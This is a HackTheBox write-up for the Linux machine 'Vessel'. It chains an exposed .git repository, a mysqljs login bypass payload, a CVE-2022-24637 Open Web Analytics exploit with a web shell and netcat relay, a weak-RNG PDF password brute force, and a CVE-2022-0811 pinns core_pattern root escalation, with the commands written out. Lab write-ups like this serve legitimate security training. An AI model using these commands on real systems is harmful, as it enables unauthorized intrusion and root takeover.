HTB: Vessel Writeup

Vessel - HackTheBox Writeup

Machine Information

AttributeDetails
NameVessel
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.227.225
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Vessel is a hard-rated Linux box built around a realistic supply-chain-style bug: a leaked .git repository reveals that the front-end web application was built on a vulnerable version of the mysqljs npm package, which allows an authentication bypass via object injection in the login form. That admin session exposes an internal openwebanalytics.vessel.htb vhost running Open Web Analytics 1.7.3, vulnerable to CVE-2022-24637 — a predictable-cache-key password reset chained with a mass-assignment configuration injection that writes attacker-controlled PHP into a log file for RCE as www-data. From there, a Windows-only password generator binary found in a user’s home directory is reverse engineered to reveal a Qt qsrand()/qrand() seed space of only 1000 possible values, letting the password on an encrypted PDF be brute-forced offline to recover SSH credentials. Root is obtained through CVE-2022-0811 (cr8escape), abusing a SUID pinns binary from the CRI-O container runtime to inject a malicious kernel.core_pattern sysctl and trigger root code execution via a crashing process.

TL;DR: Exposed .git → mysqljs object-injection auth bypass → admin panel reveals openwebanalytics.vessel.htb → CVE-2022-24637 (OWA 1.7.3 cache-key password reset + mass-assignment log-file RCE) → www-data → reverse-engineered Qt password generator (seed space 0–999) brute-forces PDF password → ethan SSH creds → CVE-2022-0811 pinns/CRI-O core_pattern sysctl abuse → root.


Reconnaissance

Port Scanning

Terminal window
# full TCP port sweep first, then targeted service/version scan
ports=$(nmap -p- --min-rate=2000 -T4 10.129.227.225 | grep '^[0-9]' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
nmap -sC -sV -p$ports 10.129.227.225

Results: only two ports open — 22/tcp (OpenSSH) and 80/tcp (Apache). Notably, reverse DNS on the box already resolves to vessel.htb, confirming the vhost name before any hosts-file edits were needed.

Terminal window
echo "10.129.227.225 vessel.htb openwebanalytics.vessel.htb" | sudo tee -a /etc/hosts

Service Enumeration

Port 80 serves a front-end web application. Enumerating the site’s directory structure turned up a /dev/ path where the application’s git metadata was left publicly reachable:

Terminal window
curl -s -o /dev/null -w '%{http_code}\n' http://vessel.htb/dev/.git/HEAD
curl -s http://vessel.htb/dev/.git/HEAD

/dev/.git/HEAD returned 200 with a valid git ref — the entire repository history was exposed on the live web server.

Vulnerability Assessment

  • Exposed .git directory under /dev/ on the production vhost — full source and commit history retrievable.
  • Git history contains a “security fix” commit bumping the mysqljs dependency, implying the prior version shipped with an exploitable auth-bypass bug.
  • (Discovered later) openwebanalytics.vessel.htb running Open Web Analytics 1.7.3, vulnerable to CVE-2022-24637.
  • (Discovered later) A SUID pinns binary tied to the CRI-O container runtime, vulnerable to CVE-2022-0811 (cr8escape).

Initial Foothold

Step 1 — Dumping the exposed .git repository

Terminal window
# git-dumper reconstructs a full working tree from an exposed .git directory
git-dumper http://vessel.htb/dev/ /tmp/source
cd /tmp/source && git log --oneline -20

The log showed a small, recent commit history. Diffing the two most recent commits pinpointed the “security fix”:

Terminal window
git diff f1369cf edb18f3
# =====SECOND=====
git diff edb18f3 208167e

The diff touched exactly one line: a version bump for the mysqljs dependency in package.json.

Terminal window
cat package.json | grep -A2 -i mysql

Step 2 — mysqljs object-injection authentication bypass

Older mysqljs builds naively interpolate query parameters without enforcing that they are strings. When the password field of a login POST is submitted as an object rather than a string (password[password]=1), the library’s query-building logic ends up comparing the password column against a truthy expression instead of the literal user-supplied value — collapsing the WHERE username=? AND password=? check and authenticating without knowing the real password.

Terminal window
curl -s -i -c /tmp/cookies.txt -X POST http://vessel.htb/api/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'username=admin&password[password]=1'

This returned a valid session cookie. Reusing it against the admin panel confirmed the bypass and surfaced a second vhost:

Terminal window
curl -s -b /tmp/cookies.txt http://vessel.htb/admin | grep -i -E 'analytics|href|openweb'

The admin dashboard links to an Analytics panel pointing at openwebanalytics.vessel.htb — an internal Open Web Analytics install not otherwise discoverable from the outside.

Step 3 — Fingerprinting Open Web Analytics

Terminal window
curl -s -L 'http://openwebanalytics.vessel.htb/index.php?owa_do=base.loginForm' | grep -i 'version=' | head -5

The page’s asset tags exposed the running version directly: Open Web Analytics 1.7.3, vulnerable to CVE-2022-24637.

Step 4 — CVE-2022-24637: cache-key password reset + mass-assignment RCE

CVE-2022-24637 chains two bugs in OWA 1.7.3:

  1. Predictable password-reset cache key. When a login attempt fails, OWA creates a debug cache file under owa-data/caches/ whose filename (hkey) is an MD5 hash derived from a per-user key/counter value. Because these cache files are served statically and the counter increments predictably per user, an attacker who knows only a victim’s username can trigger a failed login, fetch the resulting cache file over HTTP, and recover the base64-encoded temp_passkey used to authorize a password reset — without ever knowing the original password.
  2. Mass-assignment configuration injection. OWA’s settings-update endpoint (base.optionsUpdate) accepts arbitrary owa_config[...] keys beyond what the GUI exposes. An attacker can redirect the application’s own error-log file path to a .php file inside the web root and set error_log_level=2 so that every POST parameter — including one containing a <?php exec(...) ?> payload — gets written verbatim into that now-executable log file, yielding RCE the next time the crafted URL is hit.

The box’s own author, 0xM4hm0ud, has a public PoC for this exact CVE, so it was used directly:

Terminal window
git clone https://github.com/0xM4hm0ud/CVE-2022-24637.git
cd CVE-2022-24637
python3 CVE-2022-24637.py http://openwebanalytics.vessel.htb/ 'NewP@ssw0rd123!' 10.10.15.68 8882

The automated PoC’s reverse-shell handling didn’t cleanly hold a session in this environment, so the chain was replayed manually against a listener, driving the RCE endpoint directly:

Terminal window
nc -lnvp 8882 > /tmp/shell_output.log &
# repeated command injection through the log-poisoned RCE endpoint,
# using a named pipe to keep feeding commands into the same web-triggered shell
mkfifo /tmp/shellpipe2
exec 9>/tmp/shellpipe2
curl -s http://openwebanalytics.vessel.htb/owa-data/logs/shell.php --max-time 3
echo 'id; whoami; hostname; ls -la /home' > /tmp/shellpipe2
sleep 2; tail -30 /tmp/shell_output.log

This confirmed code execution as www-data, with /home listing revealing two local users: ethan and steven.


Privilege Escalation

www-data → ethan

/home/steven contained a Windows passwordGenerator executable and a password-protected notes.pdf. The binary is a PyInstaller-packaged Qt/PySide2 GUI tool used to generate the PDF’s password. Extracting and decompiling it showed the password routine seeding its RNG like this:

qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
password += charset[idx]

QTime::currentTime().msec() only ever returns a value in 0–999, so the entire keyspace for the “random” password collapses to 1000 possible seeds. Because the executable was compiled for Windows, its qrand() calls delegate straight through to MSVCRT’s rand() — a simple, deterministic LCG — so the exact same sequence can be reproduced offline on any Windows Qt runtime by iterating all 1000 seeds and attempting to open the PDF with each generated 32-character candidate password.

Running that brute force locally recovered the correct seed (350), decrypted notes.pdf, and revealed ethan’s password inside.

Terminal window
ssh ethan@10.129.227.225
# user.txt captured

ethan → root (CVE-2022-0811 — cr8escape)

Enumeration on the box turned up a SUID binary, pinns, belonging to the CRI-O container runtime. pinns is meant to be invoked by crio/crictl to set up Linux namespaces and sysctls for a container’s pause process — but as a standalone SUID binary it can be invoked directly by any local user to apply arbitrary sysctls to the host, including kernel.core_pattern.

Setting kernel.core_pattern to a pipe (|/path/to/script) tells the kernel to execute that script as a core-dump handler, running with the kernel’s own privileges, whenever a monitored process crashes:

Terminal window
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' > /tmp/exp.sh
chmod +x /tmp/exp.sh
# abuse SUID pinns (CRI-O) to set kernel.core_pattern from an unprivileged namespace
pinns -U -d /tmp/ -f a -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/exp.sh #'
sleep 10 &
killall -s SIGSEGV sleep # crash the monitored process to fire core_pattern as root

The crashing sleep process triggers the kernel’s core-dump path, which executes /tmp/exp.sh as root, dropping a root-owned SUID bash:

Terminal window
/tmp/rootbash -p
id
# uid=0(root) euid=0(root) ...
cat /root/root.txt

Confirmed euid=0, and root.txt captured.


Attack Chain Summary

Exposed /dev/.git/HEAD on vessel.htb
→ git-dumper reveals vulnerable mysqljs dependency
→ mysqljs object-injection auth bypass (password[password]=1)
→ admin session on vessel.htb → discovers openwebanalytics.vessel.htb
→ OWA 1.7.3 fingerprinted (CVE-2022-24637)
→ predictable cache-key leaks temp_passkey → admin password reset
→ mass-assignment config injection → PHP payload logged to shell.php
→ RCE as www-data
→ passwordGenerator.exe + notes.pdf pulled from /home/steven
→ decompiled: Qt qsrand(QTime::currentTime().msec()) → seed space 0-999
→ offline brute force (seed 350) decrypts notes.pdf
→ recovers ethan's SSH credentials → user.txt
→ SUID pinns (CRI-O) found → CVE-2022-0811 (cr8escape)
→ malicious kernel.core_pattern via pinns -U
→ crash sleep process → root-owned SUID bash
→ root.txt

Tools Used

ToolPurpose
nmapPort and service scanning
curlManual HTTP requests: git-dump probing, login bypass, admin panel, OWA cache-file retrieval, RCE trigger
git-dumperReconstructing the exposed .git repository from vessel.htb/dev/
git log / git diffIdentifying the mysqljs security-fix commit
CVE-2022-24637.py (0xM4hm0ud)Reference PoC for the OWA 1.7.3 password-reset + mass-assignment RCE chain
nc + named pipe (mkfifo)Interactive command relay through the log-poisoned PHP web shell
PyInstaller extractor + uncompyle6Recovering Python source from the compiled passwordGenerator.exe
Qt/PySide2 (qsrand/qrand) brute-force scriptOffline recovery of notes.pdf’s password over the 1000-value seed space
pikepdfVerifying the cracked password against the encrypted PDF
sshAccess as ethan
pinns (abused)SUID CRI-O helper used to set malicious kernel.core_pattern/kernel.shm_rmid_forced for CVE-2022-0811

Key Learnings

Techniques Practiced

  • Recovering source and history from an exposed .git directory on a live web server
  • Diffing git history to locate a silent “security fix” commit and infer the vulnerable dependency
  • NPM library (mysqljs) object-injection authentication bypass
  • Chaining a predictable cache-key leak into an unauthenticated password reset (CVE-2022-24637)
  • Exploiting PHP mass-assignment to redirect a log file into the web root and inject executable PHP
  • Extracting and decompiling a PyInstaller/PySide2 Windows binary to recover its source logic
  • Identifying weak RNG seeding (QTime::currentTime().msec(), Qt→MSVCRT rand()) and brute-forcing the reduced keyspace offline
  • Abusing a SUID container-runtime helper (pinns) to write host-level sysctls and hijack kernel.core_pattern for root code execution (CVE-2022-0811 / cr8escape)

Lessons Learned

  1. Never deploy .git metadata to a production web root — it fully reconstructs source, history, and past “silent” security fixes for an attacker.
  2. Dependency version bumps in git history are a strong signal: diffing them against public CVE databases can reveal exactly what bug was patched and how to exploit the pre-patch version.
  3. Debug/cache artifacts that are predictable and web-accessible (like OWA’s MD5 cache filenames) can leak secrets meant only for server-side use.
  4. Mass-assignment on configuration/update endpoints is a serious risk when the backend trusts client-supplied key names — always allow-list updatable fields explicitly.
  5. RNG seeded from coarse-grained time sources (millisecond clock ticks) collapses to a trivially brute-forceable keyspace; cryptographic randomness must come from a CSPRNG, not qrand()/rand().
  6. Container-runtime helper binaries (like pinns) should never carry the SUID bit outside their intended invocation context (crio/crictl) — doing so hands any local user a path to host-level sysctl control.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Xclow3n & amra, Vessel — Official HackTheBox Writeup (Document No. D22.100.200), Machine Author: 0xM4hm0ud, released 24 August 2022.